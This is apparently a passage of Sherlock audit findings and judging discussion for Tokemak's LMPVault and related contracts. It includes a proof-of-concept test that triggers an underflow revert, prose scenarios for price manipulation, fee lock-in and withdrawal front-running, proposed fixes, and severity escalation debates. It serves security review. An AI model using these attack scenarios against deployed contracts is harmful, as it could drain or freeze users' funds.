function test_revert_underflow() public { _accessController.grantRole(Roles.SOLVER_ROLE, address(this)); _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this)); // User is going to deposit 1500 asset _asset.mint(address(this), 1500); _asset.approve(address(_lmpVault), 1500); _lmpVault.deposit(1500, address(this)); // Deployed 700 asset to DV1 _underlyerOne.mint(address(this), 700); _underlyerOne.approve(address(_lmpVault), 700); _lmpVault.rebalance( address(_destVaultOne), address(_underlyerOne), // tokenIn 700, address(0), // destinationOut, none when sending out baseAsset address(_asset), // baseAsset, tokenOut 700 ); // Deploy 600 asset to DV2 _underlyerTwo.mint(address(this), 600); _underlyerTwo.approve(address(_lmpVault), 600); _lmpVault.rebalance( address(_destVaultTwo), address(_underlyerTwo), // tokenIn 600, address(0), // destinationOut, none when sending out baseAsset address(_asset), // baseAsset, tokenOut 600 ); // Deployed 200 asset to DV3 _underlyerThree.mint(address(this), 200); _underlyerThree.approve(address(_lmpVault), 200); _lmpVault.rebalance( address(_destVaultThree), address(_underlyerThree), // tokenIn 200, address(0), // destinationOut, none when sending out baseAsset address(_asset), // baseAsset, tokenOut 200 ); // Drop the price of DV2 to 70% of original, so that 600 we transferred out is now only worth 420 _mockRootPrice(address(_underlyerTwo), 7e17); // Revert because of an arithmetic underflow vm.expectRevert(); uint256 assets = _lmpVault.redeem(1000, address(this), address(this)); }
The vulnerability can result in the contract reverting due to an underflow, disrupting the functionality of the contract.
Users who try to withdraw assets from the LMPVault may encounter transaction failures and be unable to withdraw their assets.
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L475
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L493-L504
Manual Review
To mitigate this vulnerability, it is recommended to break the loop within the _withdraw()
function if Math.max(info.debtDecrease, info.totalAssetsPulled) >= info.totalAssetsToPull
if ( Math.max(info.debtDecrease, info.totalAssetsPulled) > info.totalAssetsToPull ) { info.idleIncrease = Math.max(info.debtDecrease, info.totalAssetsPulled) - info.totalAssetsToPull; if (info.totalAssetsPulled >= info.debtDecrease) { info.totalAssetsPulled = info.totalAssetsToPull; } break; } // No need to keep going if we have the amount we're looking for // Any overage is accounted for above. Anything lower and we need to keep going // slither-disable-next-line incorrect-equality if ( Math.max(info.debtDecrease, info.totalAssetsPulled) == info.totalAssetsToPull ) { break; }
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/565
0xGoodess, 0xdeadbeef, Ch_301, berndartmueller, xiaoming90
Users are unable to withdraw extra rewards due to staking of TOKE that is less than MIN_STAKE_AMOUNT
, resulting in them being stuck in the contracts.
Suppose Bob only has 9999 Wei TOKE tokens as main rewards and 100e18 DAI as extra rewards in this account.
When attempting to get the rewards, the code will always get the main rewards, followed by the extra rewards, as shown below.
File: MainRewarder.sol 108: function _processRewards(address account, bool claimExtras) internal { 109: _getReward(account); 110: 111: //also get rewards from linked rewards 112: if (claimExtras) { 113: for (uint256 i = 0; i < extraRewards.length; ++i) { 114: IExtraRewarder(extraRewards[i]).getReward(account); 115: } 116: } 117: }
If the main reward is TOKE, they will be staked to the GPToke
at Line 376 below.
File: AbstractRewarder.sol 354: function _getReward(address account) internal { 355: Errors.verifyNotZero(account, "account"); 356: 357: uint256 reward = earned(account); 358: (IGPToke gpToke, address tokeAddress) = (systemRegistry.gpToke(), address(systemRegistry.toke())); 359: 360: // slither-disable-next-line incorrect-equality 361: if (reward == 0) return; 362: 363: rewards[account] = 0; 364: emit RewardPaid(account, reward); 365: 366: // if NOT toke, or staking is turned off (by duration = 0), just send reward back 367: if (rewardToken != tokeAddress || tokeLockDuration == 0) { 368: IERC20(rewardToken).safeTransfer(account, reward); 369: } else { 370: // authorize gpToke to get our reward Toke 371: // slither-disable-next-line unused-return 372: IERC20(address(tokeAddress)).approve(address(gpToke), reward); 373: 374: // stake Toke 375: gpToke.stake(reward, tokeLockDuration, account); 376: } 377: }
However, if the staked amount is less than the minimum stake amount (MIN_STAKE_AMOUNT
), the function will revert.
File: GPToke.sol 32: uint256 public constant MIN_STAKE_AMOUNT = 10_000; ..SNIP.. 098: function _stake(uint256 amount, uint256 duration, address to) internal whenNotPaused { 099: // 100: // validation checks 101: // 102: if (to == address(0)) revert ZeroAddress(); 103: if (amount < MIN_STAKE_AMOUNT) revert StakingAmountInsufficient(); 104: if (amount > MAX_STAKE_AMOUNT) revert StakingAmountExceeded();
In this case, Bob will not be able to redeem his 100 DAI reward when processing the reward. The code will always attempt to stake 9999 Wei Toke and revert because it fails to meet the minimum stake amount.
There is no guarantee that the users' TOKE rewards will always be larger than MIN_STAKE_AMOUNT
as it depends on various factors such as the following:
As such, the affected users will not be able to withdraw their extra rewards, and they will be stuck in the contract.
Manual Review
To remediate the issue, consider collecting TOKE and staking it to the GPToke
contract only if it meets the minimum stake amount.
function _getReward(address account) internal { Errors.verifyNotZero(account, "account"); uint256 reward = earned(account); (IGPToke gpToke, address tokeAddress) = (systemRegistry.gpToke(), address(systemRegistry.toke())); // slither-disable-next-line incorrect-equality if (reward == 0) return; - rewards[account] = 0; - emit RewardPaid(account, reward); // if NOT toke, or staking is turned off (by duration = 0), just send reward back if (rewardToken != tokeAddress || tokeLockDuration == 0) { + rewards[account] = 0; + emit RewardPaid(account, reward); IERC20(rewardToken).safeTransfer(account, reward); } else { + if (reward >= MIN_STAKE_AMOUNT) { + rewards[account] = 0; + emit RewardPaid(account, reward); + // authorize gpToke to get our reward Toke // slither-disable-next-line unused-return IERC20(address(tokeAddress)).approve(address(gpToke), reward); // stake Toke gpToke.stake(reward, tokeLockDuration, account); + } } }
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/570
ctf_sec, xiaoming90
Malicious or compromised admin of certain LSTs could manipulate the price of the LSTs.
Important
Per the contest detail page, admins of the external protocols are marked as "Restricted" (Not Trusted). This means that any potential issues arising from the external protocol's admin actions (maliciously or accidentally) are considered valid in the context of this audit.Q: Are the admins of the protocols your contracts integrate with (if any) TRUSTED or RESTRICTED?
RESTRICTED
Note
This issue also applies to other support Liquid Staking Tokens (LSTs) where the admin could upgrade the token contract code. Those examples are omitted for brevity, as the write-up and mitigation are the same and would duplicate this issue.
Per the contest detail page, the protocol will hold and interact with the Swell ETH (swETH).
Liquid Staking Tokens
- swETH: 0xf951E335afb289353dc249e82926178EaC7DEd78
Upon inspection of the swETH on-chain contract, it was found that it is a Transparent Upgradeable Proxy. This means that the admin of Swell protocol could upgrade the contracts.
Tokemak relies on the swEth.swETHToETHRate()
function to determine the price of the swETH LST within the protocol. Thus, a malicious or compromised admin of Swell could upgrade the contract to have the swETHToETHRate
function return an extremely high to manipulate the total values of the vaults, resulting in users being able to withdraw more assets than expected, thus draining the LMPVault.
File: SwEthEthOracle.sol 26: function getPriceInEth(address token) external view returns (uint256 price) { 27: // Prevents incorrect config at root level. 28: if (token != address(swEth)) revert Errors.InvalidToken(token); 29: 30: // Returns in 1e18 precision. 31: price = swEth.swETHToETHRate(); 32: }
Loss of assets in the scenario as described above.
Manual Review
The protocol team should be aware of the above-mentioned risks and consider implementing additional controls to reduce the risks.
Review each of the supported LSTs and determine how much power the Liquid staking protocol team/admin has over its tokens.
For LSTs that are more centralized (e.g., Liquid staking protocol team could update the token contracts or have the ability to update the exchange rate/price to an arbitrary value without any limit), those LSTs should be subjected to additional controls or monitoring, such as implementing some form of circuit breakers if the price deviates beyond a reasonable percentage to reduce the negative impact to Tokemak if it happens.
previewRedeem
and redeem
functions deviate from the ERC4626 specificationSource: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/577
0x73696d616f, 0xSurena, BPZ, BTK, Flora, Kalyan-Singh, Nadin, bin2chen, enfrasico, shaka, talfao, xiaoming90
The previewRedeem
and redeem
functions deviate from the ERC4626 specification. As a result, the caller (internal or external) of the previewRedeem
function might receive incorrect information, leading to the wrong decision being executed.
Important
The contest page explicitly mentioned that theLMPVault
must conform with the ERC4626. Thus, issues related to EIP compliance should be considered valid in the context of this audit.Q: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?
src/vault/LMPVault.sol should be 4626 compatible
Let the value returned by previewRedeem
function be and the actual number of assets obtained from calling the redeem
function be .
The following specification of previewRedeem
function is taken from ERC4626 specification:
Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block, given current on-chain conditions.
MUST return as close to and no more than the exact amount of assets that would be withdrawn in a
redeem
call in the same transaction. I.e.redeem
should return the same or moreassets
aspreviewRedeem
if called in the same transaction.
It mentioned that the redeem
should return the same or more assets
as previewRedeem
if called in the same transaction, which means that it must always be .
However, it is possible that the redeem
function might return fewer assets than the number of assets previewed by the previewRedeem
(), thus it does not conform to the specification.
File: LMPVault.sol 422: function redeem( 423: uint256 shares, 424: address receiver, 425: address owner 426: ) public virtual override nonReentrant noNavDecrease ensureNoNavOps returns (uint256 assets) { 427: uint256 maxShares = maxRedeem(owner); 428: if (shares > maxShares) { 429: revert ERC4626ExceededMaxRedeem(owner, shares, maxShares); 430: } 431: uint256 possibleAssets = previewRedeem(shares); // @audit-info round down, which is correct because user won't get too many 432: 433: assets = _withdraw(possibleAssets, shares, receiver, owner); 434: }
Note that the previewRedeem
function performs its computation based on the cached totalDebt
and totalIdle
, which might not have been updated to reflect the actual on-chain market condition. Thus, these cached values might be higher than expected.
Assume that totalIdle
is zero and all WETH has been invested in the destination vaults. Thus, totalAssetsToPull
will be set to .
If a DV is making a loss, users could only burn an amount proportional to their ownership of this vault. The code will go through all the DVs in the withdrawal queue (withdrawalQueueLength
) in an attempt to withdraw as many assets as possible. However, it is possible that the totalAssetsPulled
to be less than .
File: LMPVault.sol 448: function _withdraw( 449: uint256 assets, 450: uint256 shares, 451: address receiver, 452: address owner 453: ) internal virtual returns (uint256) { 454: uint256 idle = totalIdle; 455: WithdrawInfo memory info = WithdrawInfo({ 456: currentIdle: idle, 457: assetsFromIdle: assets >= idle ? idle : assets, 458: totalAssetsToPull: assets - (assets >= idle ? idle : assets), 459: totalAssetsPulled: 0, 460: idleIncrease: 0, 461: debtDecrease: 0 462: }); 463: 464: // If not enough funds in idle, then pull what we need from destinations 465: if (info.totalAssetsToPull > 0) { 466: uint256 totalVaultShares = totalSupply(); 467: 468: // Using pre-set withdrawalQueue for withdrawal order to help minimize user gas 469: uint256 withdrawalQueueLength = withdrawalQueue.length; 470: for (uint256 i = 0; i < withdrawalQueueLength; ++i) { 471: IDestinationVault destVault = IDestinationVault(withdrawalQueue[i]); 472: (uint256 sharesToBurn, uint256 totalDebtBurn) = _calcUserWithdrawSharesToBurn( 473: destVault, 474: shares, 475: info.totalAssetsToPull - Math.max(info.debtDecrease, info.totalAssetsPulled), 476: totalVaultShares 477: ); ..SNIP.. 508: // At this point should have all the funds we need sitting in in the vault 509: uint256 returnedAssets = info.assetsFromIdle + info.totalAssetsPulled;
It was understood from the protocol team that they anticipate external parties to integrate directly with the LMPVault (e.g., vault shares as collateral). Thus, the LMPVault must be ERC4626 compliance. Otherwise, the caller (internal or external) of the previewRedeem
function might receive incorrect information, leading to the wrong action being executed.
Manual Review
Ensure that .
Alternatively, document that the previewRedeem
and redeem
functions deviate from the ERC4626 specification in the comments and/or documentation.
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
Trumpero commented:
low, not following ERC4626 won't incur risk for the users and protocol
To make sure the assetPreview <= assetActual, users (integrated protocol) should use router to redeem
xiaoming9090
Escalate
I have confirmed with the protocol team that they anticipate external parties integrating directly with the LMPVault (e.g., vault shares as collateral), as shown below. The router is not applicable in the context of this issue, as ERC4626 is strictly applied to the LMPVault only.
Per the judging docs, the issue will be considered as valid if there is external integrations.
EIP compliance with no integrations: If the protocol does not have external integrations then issues related to code not fully complying with the EIP it is implementing and there are no adverse effects of this, is considered informational
Also, the contest page explicitly mentioned that the LMPVault
must conform with the ERC4626. Thus, issues related to EIP compliance is considered valid in the context of this audit.
Q: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?
src/vault/LMPVault.sol should be 4626 compatible
In this case, non-conforming to ERC4626 is a valid Medium.
sherlock-admin2
Escalate
I have confirmed with the protocol team that they anticipate external parties integrating directly with the LMPVault (e.g., vault shares as collateral), as shown below. The router is not applicable in the context of this issue, as ERC4626 is strictly applied to the LMPVault only.
Per the judging docs, the issue will be considered as valid if there is external integrations.
EIP compliance with no integrations: If the protocol does not have external integrations then issues related to code not fully complying with the EIP it is implementing and there are no adverse effects of this, is considered informational
Also, the contest page explicitly mentioned that the
LMPVault
must conform with the ERC4626. Thus, issues related to EIP compliance is considered valid in the context of this audit.Q: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?
src/vault/LMPVault.sol should be 4626 compatible
In this case, non-conforming to ERC4626 is a valid Medium.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
midori-fuse
Escalate
If this issue ends up being valid post-escalation, then #452 #441 #319 #288 #202 should be dupes of this.
sherlock-admin2
Escalate
If this issue ends up being valid post-escalation, then #452 #441 #319 #288 #202 should be dupes of this.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
JeffCX
I thought the EIP complicance issue is valid low in sherlock
JeffCX
https://docs.sherlock.xyz/audits/judging/judging
EIP compliance with no integrations: If the protocol does not have external integrations then issues related to code not fully complying with the EIP it is implementing and there are no adverse effects of this, are considered informational
0xbtk
If #577 is considered a medium, then #412 should be a medium too, because as per of the EIP-4626:
It is considered most secure to favor the Vault itself during calculations over its users.
Kalyan-Singh
#656 shows how deposit function reverts under certain conditions due to maxDeposit not being eip compliant, I think that will be a genuine problem for external integrators. I think this escalations result should also be reflected there.
xiaoming9090
I thought the EIP complicance issue is valid low in sherlock
For this contest, it was explicitly mentioned in the contest page that the LMPVault
must conform with the ERC4626. Thus, issues related to EIP compliance is considered valid Medium in the context of this audit.
Q: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?
src/vault/LMPVault.sol should be 4626 compatible
xiaoming9090
https://docs.sherlock.xyz/audits/judging/judging
EIP compliance with no integrations: If the protocol does not have external integrations then issues related to code not fully complying with the EIP it is implementing and there are no adverse effects of this, are considered informational
I have confirmed with the protocol team that they anticipate external parties integrating directly with the LMPVault (e.g., vault shares as collateral), as shown below. Thus, there are external integrations.
0xSurena
I thought the EIP complicance issue is valid low in sherlock
For this contest, it was explicitly mentioned in the contest page that the
LMPVault
must conform with the ERC4626. Thus, issues related to EIP compliance is considered valid Medium in the context of this audit.Q: Is the code/contract expected to comply with any EIPs? Are there specific assumptions around adhering to those EIPs that Watsons should be aware of?
src/vault/LMPVault.sol should be 4626 compatible
Exactly, it was explicitly mentioned in the contest page that code/contract expected / should to comply with 4626.
@JeffCX
https://docs.sherlock.xyz/audits/judging/judging
EIP compliance with no integrations: If the protocol does not have external integrations then issues related to code not fully complying with the EIP it is implementing and there are no adverse effects of this, are considered informational
In case of conflict between information in the Contest README vs Sherlock rules, the README overrides Sherlock rules.
Trumpero
I believe this issue is a low/info issue evidently. Judging docs of Sherlock clearly stated that:
EIP compliance with no integrations: If the protocol does not have external integrations, then issues related to the code not fully complying with the EIP it is implementing, and there are no adverse effects of this, it is considered informational.
Therefore, it should be an informational issue.
The issue must cause a loss of funds (even if unlikely) to be considered as medium
Medium: There is a viable scenario (even if unlikely) that could cause the protocol to enter a state where a material amount of funds can be lost.
Furthermore, according to Sherlock's judging docs, the external integrations in the future are not considered valid issues:
Future issues: Issues that result out of a future integration/implementation that was not intended (mentioned in the docs/README) or because of a future change in the code (as a fix to another issue) are not valid issues.
Evert0x
Current opinion is to accept escalation and make issue medium because of the following judging rule.
In case of conflict between information in the README vs Sherlock rules, the README overrides Sherlock rules.
https://docs.sherlock.xyz/audits/judging/judging#iii.-some-standards-observed
Trumpero
I believe this issue doesn't meet the requirements of a medium issue since it doesn't cause any loss, which is an important requirement to be a valid issue in Sherlock. Even without considering the Sherlock docs about EIP compliance, it only has a low impact, so I don't think it is a valid medium. Historically, the potential risk from a view function has never been accepted as a medium in Sherlock. Additionally, there is no potential loss since users should use the router to redeem, which protects users from any loss by using the minimum redeem amount.
midori-fuse
Historically, the potential risk from a view function has never been accepted as a medium in Sherlock
Disputing this point. Evidence
xiaoming9090
The README explicitly stated that LMPVault.sol
should be 4626 compatible. README overwrites the Sherlock rules. Thus, any 4626 incompatible in this contest would be classified as Medium.
Evert0x
The core question is, does the README also override the severity classifications? It states that "Sherlock rules for valid issues" are overwritten. But it's unclear if the severity definitions are included in this, especially because the medium/high definitions are stated above this rule.
The intention of this sentence is that the protocol can thrive in the context defined by the protocol team.
In this case, it's clear that the team states that the LMPVault.sol
should exist in the context of complete ERC4626 compatibility. Making this issue valid.
Planning to make some changes to the Medium definition and Hierarchy of truth
language so it will be clear for future contests.
Evert0x
Planning to accept escalation and duplicate with https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/452 https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/441 https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/319 https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/288 https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/202
Evert0x
Update: planning to add #412 #577 #656 #487 and categorize as a general "Failing to comply with ERC4626" issue family.
Evert0x
Result:
Medium
Has Duplicates
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
Evert0x
Will add #665 https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/465, https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/503 and https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/731 as duplicates as they point out an issue that will make the contract fail to comply with ERC4626.
Because _maxMint()
has the possibility to return uint256.max
it can break the ERC4626 specification of maxDeposit
of "MUST NOT REVERT"
See https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/665#issuecomment-1780762436
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/591
xiaoming90
The losses are not distributed equally, leading to slower users suffering significant losses.
Assume that three (3) destination vaults (DVs) and the withdrawal queue are arranged in this order: , , .
Assume the following appreciation and depreciation of the price of the underlying LP tokens of the DV:
For simplicity's sake, all three (3) DVs have the same debt value.
In the current design, if someone withdraws the assets, they can burn as many shares as needed since is in profit. If manages to satisfy the withdrawal amount, the loop will stop here. If not, it will move to and to withdraw the remaining amount.
However, malicious users (also faster users) can abuse this design. Once they notice that LP tokens of and are depreciating, they could quickly withdraw as many shares as possible from the to minimize their loss. As shown in the chart below, once they withdrew all the assets in at , the rest of the vault users would suffer a much faster rate of depreciation (~6%).
Thus, the loss of the LMPVault is not evenly distributed across all participants. The faster actors will incur less or no loss, while slower users suffer a more significant higher loss.
The losses are not distributed equally, leading to slower users suffering significant losses.
Manual Review
Consider burning the shares proportionately across all the DVs during user withdrawal so that loss will be distributed equally among all users regardless of the withdrawal timing.
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/601
0x73696d616f, xiaoming90
Malicious users could lock in the NAV/Share of the destination vaults, resulting in a loss of fees.
The _collectFees
function only collects fees whenever the NAV/Share exceeds the last NAV/Share.
During initialization, the navPerShareHighMark
is set to 1
, effectively 1 ETH per share (1:1 ratio). Assume the following:
performanceFeeBps
is 10%In this case, the debt value of DV's shares will increase, which will cause LMPVault's debt to increase. This event caused the currentNavPerShare
to increase to 1.4
temporarily.
Someone calls the permissionless updateDebtReporting
function. Thus, the profit will be 0.4 ETH * 0.5 Shares = 0.2 ETH
, which is small due to the number of shares (0.5 shares) in the LMPVault at this point. The fee will be 0.02 ETH
(~40 USD). Thus, the fee earned is very little and almost negligible.
At the end of the function, the navPerShareHighMark
will be set to 1.4,
and the highest NAV/Share will be locked forever. After some time, the price of the LP tokens fell back to its expected price range, and the currentNavPerShare
fell to around 1.05
. No fee will be collected from this point onwards unless the NAV/Share is raised above 1.4
.
It might take a long time to reach the 1.4
threshold, or in the worst case, the spike is temporary, and it will never reach 1.4
again. So, when the NAV/Share of the LMPVault is 1.0 to 1.4, the protocol only collects 0.02 ETH
(~40 USD), which is too little.
function _collectFees(uint256 idle, uint256 debt, uint256 totalSupply) internal { address sink = feeSink; uint256 fees = 0; uint256 shares = 0; uint256 profit = 0; // If there's no supply then there should be no assets and so nothing // to actually take fees on if (totalSupply == 0) { return; } uint256 currentNavPerShare = ((idle + debt) * MAX_FEE_BPS) / totalSupply; uint256 effectiveNavPerShareHighMark = navPerShareHighMark; if (currentNavPerShare > effectiveNavPerShareHighMark) { // Even if we aren't going to take the fee (haven't set a sink) // We still want to calculate so we can emit for off-chain analysis profit = (currentNavPerShare - effectiveNavPerShareHighMark) * totalSupply; fees = profit.mulDiv(performanceFeeBps, (MAX_FEE_BPS ** 2), Math.Rounding.Up); if (fees > 0 && sink != address(0)) { // Calculated separate from other mints as normal share mint is round down shares = _convertToShares(fees, Math.Rounding.Up); _mint(sink, shares); emit Deposit(address(this), sink, fees, shares); } // Set our new high water mark, the last nav/share height we took fees navPerShareHighMark = currentNavPerShare; navPerShareHighMarkTimestamp = block.timestamp; emit NewNavHighWatermark(currentNavPerShare, block.timestamp); } emit FeeCollected(fees, sink, shares, profit, idle, debt); }
Loss of fee. Fee collection is an integral part of the protocol; thus the loss of fee is considered a High issue.
Manual Review
Consider implementing a sophisticated off-chain algorithm to determine the right time to lock the navPerShareHighMark
and/or restrict the access to the updateDebtReporting
function to only protocol-owned addresses.
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
Trumpero commented:
low, collecting fee based on NAV is protocol design, so I think it's fine when the NAV is too large and make the fee can't be accured for the protocol, it's a risk from protocol's choice.
Furthermore, in theory more deposits is equivalent with more rewards, so it's likely when the protocol grows bigger, the NAV should increase and the fee can be active again.
xiaoming9090
Escalate
First of all, a risk from the protocol's choice does not mean that the issue is invalid/low. Any risk arising from the protocol's design/architecture and its implementation should be highlighted during an audit.
I have discussed this with the protocol team during the audit period as shown below, and the impact of this issue is undesirable.
Using the example in my report, the period where it takes for the NAV/Share of the LMPVault to increase from 1.0 to 1.4 after the attack, the protocol only collects 0.02 ETH
(~40 USD), which shows that the design of the accounting and collection of fees is fundamentally flawed. The protocol team might not have been aware of this attack/issue when designing this fee collection mechanism and assumed that the NAV would progressively increase over a period of time, but did not expect this edge case.
Thus, this is a valid High issue due to a loss of fee.
sherlock-admin2
Escalate
First of all, a risk from the protocol's choice does not mean that the issue is invalid/low. Any risk arising from the protocol's design/architecture and its implementation should be highlighted during an audit.
I have discussed this with the protocol team during the audit period as shown below, and the impact of this issue is undesirable.
Using the example in my report, the period where it takes for the NAV/Share of the LMPVault to increase from 1.0 to 1.4 after the attack, the protocol only collects
0.02 ETH
(~40 USD), which shows that the design of the accounting and collection of fees is fundamentally flawed. The protocol team might not have been aware of this attack/issue when designing this fee collection mechanism and assumed that the NAV would progressively increase over a period of time, but did not expect this edge case.Thus, this is a valid High issue due to a loss of fee.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Trumpero
@codenutt Could you please share your thoughts about this issue? Do you think it is a real issue of the current protocol's fee model which causes a loss of fee, or is it simply another choice of the fee model?
codenutt
@codenutt Could you please share your thoughts about this issue? Do you think it is a real issue of the current protocol's fee model which causes a loss of fee, or is it simply another choice of the fee model?
There are a lot of ways this issue can creep up. It could be something nefarious. It could just be a temporary price spike that would occur normally even if updateDebtReporting was permissioned. We have to do debt reporting fairly frequenting or stale data starts affecting the strategy. However it happens though, we do generally recognize it as an issue and a change we have planned (something we were still solidifying going into the audit). We'll be implementing some decay logic around the high water mark so if we don't see a rise after say 90 days it starts to lower.
Evert0x
Planning to accept escalation and make issue medium as the issue rests on some assumptions, it's also unclear how significant the potential losses exactly are.
Evert0x
Result:
Medium
Unique
sherlock-admin2
Escalations have been resolved successfully!
Escalation status:
Evert0x
Update #469 is a duplicate
Source: https://github.com/sherlock-audit/2023-06-tokemak-judging/issues/604
xiaoming90
The price returned by the oracle is not adequately verified, leading to incorrect pricing being accepted.
As per the example provided by Tellor on how to integrate the Tellor oracle into the system, it has shown the need to check that the price returned by the oracle is not zero.
function getTellorCurrentValue(bytes32 _queryId) ..SNIP.. // retrieve most recent 20+ minute old value for a queryId. the time buffer allows time for a bad value to be disputed (, bytes memory data, uint256 timestamp) = tellor.getDataBefore(_queryId, block.timestamp - 20 minutes); uint256 _value = abi.decode(data, (uint256)); if (timestamp == 0 || _value == 0) return (false, _value, timestamp);
Thus, the value returned from the getDataBefore
function should be verified to ensure that the price returned by the oracle is not zero. However, this was not implemented.
File: TellorOracle.sol 101: function getPriceInEth(address tokenToPrice) external returns (uint256) { 102: TellorInfo memory tellorInfo = _getQueryInfo(tokenToPrice); 103: uint256 timestamp = block.timestamp; 104: // Giving time for Tellor network to dispute price 105: (bytes memory value, uint256 timestampRetrieved) = getDataBefore(tellorInfo.queryId, timestamp - 30 minutes); 106: uint256 tellorStoredTimeout = uint256(tellorInfo.pricingTimeout); 107: uint256 tokenPricingTimeout = tellorStoredTimeout == 0 ? DEFAULT_PRICING_TIMEOUT : tellorStoredTimeout; 108: 109: // Check that something was returned and freshness of price. 110: if (timestampRetrieved == 0 || timestamp - timestampRetrieved > tokenPricingTimeout) { 111: revert InvalidDataReturned(); 112: } 113: 114: uint256 price = abi.decode(value, (uint256)); 115: return _denominationPricing(tellorInfo.denomination, price, tokenToPrice); 116: }
The protocol relies on the oracle to provide accurate pricing for many critical operations, such as determining the debt values of DV, calculators/stats used during the rebalancing process, NAV/shares of the LMPVault, and determining how much assets the users should receive during withdrawal.
If an incorrect value of zero is returned from Tellor, affected assets within the protocol will be considered worthless.
Manual Review
Update the affected function as follows.
function getPriceInEth(address tokenToPrice) external returns (uint256) { TellorInfo memory tellorInfo = _getQueryInfo(tokenToPrice); uint256 timestamp = block.timestamp; // Giving time for Tellor network to dispute price (bytes memory value, uint256 timestampRetrieved) = getDataBefore(tellorInfo.queryId, timestamp - 30 minutes); uint256 tellorStoredTimeout = uint256(tellorInfo.pricingTimeout); uint256 tokenPricingTimeout = tellorStoredTimeout == 0 ? DEFAULT_PRICING_TIMEOUT : tellorStoredTimeout; // Check that something was returned and freshness of price. - if (timestampRetrieved == 0 || timestamp - timestampRetrieved > tokenPricingTimeout) { + if (timestampRetrieved == 0 || value == 0 || timestamp - timestampRetrieved > tokenPricingTimeout) { revert InvalidDataReturned(); } uint256 price = abi.decode(value, (uint256)); return _denominationPricing(tellorInfo.denomination, price, tokenToPrice); }
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
Trumpero commented:
low, similar to chainlink round completeness
xiaoming9090
Escalate
The reason why chainlink round completeness is considered invalid/low in Sherlock is that the OCR does not rely on rounds for reporting anymore. Not validating the price returned from the oracle is zero is a much more serious issue and is different from the round completeness issue related to lagged/outdated price.
If an incorrect value of zero is returned from Tellor, affected assets within the protocol will be considered worthless. Thus, it is important that this check must be done. In addition, per the example provided by Tellor on how to integrate the Tellor oracle into the system, it has shown the need to check that the price returned by the oracle is not zero.
Thus, this is a valid High issue.
sherlock-admin2
Escalate
The reason why chainlink round completeness is considered invalid/low in Sherlock is that the OCR does not rely on rounds for reporting anymore. Not validating the price returned from the oracle is zero is a much more serious issue and is different from the round completeness issue related to lagged/outdated price.
If an incorrect value of zero is returned from Tellor, affected assets within the protocol will be considered worthless. Thus, it is important that this check must be done. In addition, per the example provided by Tellor on how to integrate the Tellor oracle into the system, it has shown the need to check that the price returned by the oracle is not zero.
Thus, this is a valid High issue.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
Trumpero
Hello @xiaoming9090, according to the information I found in the Tellor documentation under the section "Solidity Integration," the provided example in the documentation differs from the example you provided, and it lacks a check for the 0-value.
Could you please provide more details about the source of your example?
xiaoming9090
Hey @Trumpero, the repo can be found in the Tellor's User Checklist, which is a guide that the protocol team need to go through before using the Tellor oracle.
One point to make is that Chainlink or Tellor would not provide an example that checks for zero-value in all their examples. The reason is that not all use cases require zero-value checks. Suppose a simple protocol performs a non-price-sensitive operation, such as fetching a price to emit an event for the protocol team's internal reference. In that case, there is no need to check for zero value.
However, for Tokemak and many other protocols involving financial transactions, it is critical that the price of assets cannot be zero due to errors from Oracle. Thus, a zero-values check is consistently implemented on such kind of protocols. Therefore, we need to determine if a zero-values check is required on a case-by-case basis. In this case, Tokemak falls under the latter group.
Trumpero
Tks @xiaoming9090, understand it now. Seem a valid issue for me @codenutt.
The severity for me should be medium, since it assumes the tellor oracle returns a 0 price value.
Evert0x
Planning to accept escalation and make issue medium
codenutt
@Trumpero Our goal with the check is to verify that a price was actually found. Based on their contract checking for timestamp == 0 is sufficient as it returns both 0 and 0 in this state: https://github.com/tellor-io/tellorFlex/blob/bdefcab6d90d4e86c34253fdc9e1ec778f370c3c/contracts/TellorFlex.sol#L450
Trumpero
Based on the sponsor's comment, I think this issue is low.
Evert0x
Planning to reject escalation and keep issue state as is @xiaoming9090
xiaoming9090
The sponsor's comment simply explains the purpose/intention of the if-condition is to check that a price is returned from Tellor Oracle. However, this does not necessarily mean that it is fine that the returned price is zero OR there is no risk if the return price is zero.
The protocol uses two (2) oracles (Chainlink and Tellor). In their Chainlink oracle's implementation, the protocol has explicitly checked that the price returned is more than zero. Otherwise, the oracle will revert. Thus, it is obvious that zero price is not accepted to the protocol based on the codebase.
